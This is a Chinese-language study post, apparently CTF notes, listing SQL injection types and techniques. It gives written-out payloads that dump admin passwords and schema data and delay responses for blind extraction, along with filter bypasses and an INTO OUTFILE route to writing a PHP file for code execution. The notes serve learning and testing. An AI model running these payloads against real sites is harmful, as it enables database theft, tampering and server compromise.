【心得】SQL注入知识清单

news/2024/5/20 0:06:00 标签: sql, 数据库, 安全, 笔记, php, CTF, WEB

sql注入的类型

类型一:数字型注入和union 注入

http://127.0.0.1/page_detail.php?id=1 union select 1,(select password from user where username='admin'),3 limit 1,2

类型二:字符型注入
 
前面闭合 后面注释  来逃逸出单引号或者双引号
http://127.0.0.1/page_detail.php?id=1' union select 1,(select password from user where username='admin'),3 limit 1,2%23

查所有表 

http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,2%23

查所有列

http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),3 limit 1,2%23

查敏感数据

http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(username,'-',password) from user),3 limit 1,2%23


注释两种形式   #   --空格


类型三:布尔盲注

boolean 盲注

条件:
没有明显的回显点
只有得到两个结果,如果执行正常,页面不报错,执行不正常,页面报错

我们执行了我们自定义的sql语句,如果语句是正确的,或者说,语句内我们的猜测是正确的,就返回正常或者特定页面,否则返回错误页面或者其他特定页面


1 当我们猜对(sql执行正常)情况下,页面没有报错
2 当我们猜错(sql执行不下去)情况下,页面报错

基于上面的原理,我们可以发送大量的请求,来猜测我们需要的数据

类型四:报错注入

条件:

1 没有明显的回显点
2 有mysql执行sql语句的报错信息


a. 利用updatexml函数来强制报错,带出我们的查询结果
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123

b. extractvalue 和updatexml 功能一样,也是通过报错带出查询数据用

c. 整数溢出报错   exp  pow cot  

d. 不存在函数报错   select ctfshow();


类型五:堆叠注入

我们控制的语句,可以执行多条sql

注意点:
需要后台代码支持多条语句执行,而这个支持,需要不同于上面的代码写法


强网杯  随便注  

通过分号分隔多条sql语句,实现了修改表结构,甚至删除表数据等等结果

如果可以堆叠,大家应该首先考虑  存储过程  set @a=b;

存储过程 类似与 shell的函数  可以自定义函数


类型六:时间盲注

条件:
没有明显的回显点
页面也没有明显的变化,即使sql语句执行不成功

总结:
可以执行sql注入,但是不知道执行结果,也不知道执行了没,甚至不知道报错了没

原理:

猜测某个条件,如果成立,就sleep 几秒  

 select id,username,password from user where username = 'admin' and if((select substr(username,1,1) from user where id = 1)='a',sleep(3),1);


a sleep进行延迟

b benchmark(count,exp)  

如果执行一个比较耗时的表达式,非常多的次数,加起来,就有可能造成延时的效果

c 笛卡尔积延迟法

  select count(*) from user A,user B;
  SELECT count (*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C;

 select count(*) from information_schema.tables,information_schema.columns b,user as c,user as d,user as e,user as f;

 if(2>1,延迟语句,1)


d get_lock函数延迟法

  select get_lock('a',3);

  条件:针对数据库连接的长连接有效   

  php 一般 解释执行完毕后,就会关闭数据库连接,下次请求的时候再次连接数据库 
  java 维护一个数据库连接池,长时间连接,需要处理请求时,拿出来进行sql查询,查询完后,放回数据库连接池


e rlike
  通过大量的正则匹配来实现延迟


类型七:二次注入

条件:

1 无法直接注入,但是可以把要注入的数据插入数据库

2 其他地方引用数据库中的数据,拼接sql语句时,默认不再进行过滤,直接拼接,造成曲线控制了sql语句


1 整数型注入/union联合注入
2 字符型注入
3 布尔盲注
4 报错注入
5 堆叠注入
6 时间盲注
7 二次注入


不同注入点的应对技巧

sql语句分为CURD操作

select 注入

1 当我们控制点在where 之后,则尝试 闭合参数引号,有回显就联合注入,有报错,就报错注入等等

2 select title,content from page;

select (select password from user where username='admin') ,content from page;

3 注入点在 group by 或者order by之后

select title,content from page order by title;

select title,content from page order by title,if(2>1,sleep(3),1);

4 注入点在limit 之后 5.6版本之前  8以后废弃 

select title,content from page limit 1;

select title,content from page limit 1 procedure analyse(updatexml(1,concat("^",(select user()),"^"),1));


包括一些小技巧

1 字符串可以转为16进制来用
select 0x63746673686f77

2 相同或者类似功能的函数相互替换

  substr sustring 
  
  类似cat 用tac替代绕过检测 

3 mysql 还可以使用into outfile '/var/www/html/1.php' 的形式,从数据读取,转为数据写入,从而实现代码执行
  如果mysql对那个目录有写权限 


http://www.niftyadmin.cn/n/5194825.html

相关文章

Transformers实战——多项选择

文章目录 一、导入相关包二、加载数据集三、数据集预处理四、创建模型五、创建评估函数六、配置训练参数七、创建训练器八、模型训练九、模型预测 !pip install transformers datasets evaluate accelerate 一、导入相关包 import evaluate from datasets import DatasetDict,…

数据结构与算法之美学习笔记:22 | 哈希算法(下):哈希算法在分布式系统中有哪些应用?

目录 前言应用五:负载均衡应用六:数据分片应用七:分布式存储解答开篇 & 内容小结 前言 本节课程思维导图 今天,我们再来看剩余三种应用:负载均衡、数据分片、分布式存储。你可能已经发现,这三个应用都…

分发糖果(贪心算法)

题目描述 n 个孩子站成一排。给你一个整数数组 ratings 表示每个孩子的评分。 你需要按照以下要求,给这些孩子分发糖果: 每个孩子至少分配到 1 个糖果。相邻两个孩子评分更高的孩子会获得更多的糖果。 请你给每个孩子分发糖果,计算并返回…

leetcode (力扣) 201. 数字范围按位与 (位运算)

文章目录 题目描述思路分析完整代码 题目描述 给你两个整数 left 和 right ,表示区间 [left, right] ,返回此区间内所有数字 按位与 的结果(包含 left 、right 端点)。 示例 1: 输入:left 5, right 7 输出…

ubuntu下载conda

系统:Ubuntu18.04 (1)下载安装包 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.11-Linux-x86_64.sh 报错错误 403:Forbidden 解决方法 wget -U NoSuchBrowser/1.0 https://mirrors.tuna.tsingh…

《洛谷深入浅出基础篇》P5266 学籍管理——map的应用

上链接:P5266 【深基17.例6】学籍管理 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)https://www.luogu.com.cn/problem/P5266#submit 题干: 题目描述 您要设计一个学籍管理系统,最开始学籍数据是空的,然后该系统能够支持下面的…

百胜杯答题系统

近期太忙了 百胜方答题活动于近期终于告一段落,这个活动周期长,参与人数多,是我这几年做答题活动的一个巅峰之作 当然项目开发难度不大,主要是参与人数突破了百万,对我而言是一次很好的历练 具体的设计方案 百胜杯答…

Oracle主备切换,ogg恢复方法(集成模式)

前言: 文章主要介绍Oracle数据库物理ADG主备在发生切换时(switchover,failover),在主库运行的ogg进程(集成模式)如何进行恢复。 测试恢复场景,因为集成模式不能在备库配置,所以场景都是基于主库端: 1 主备发生switchover切换,主库…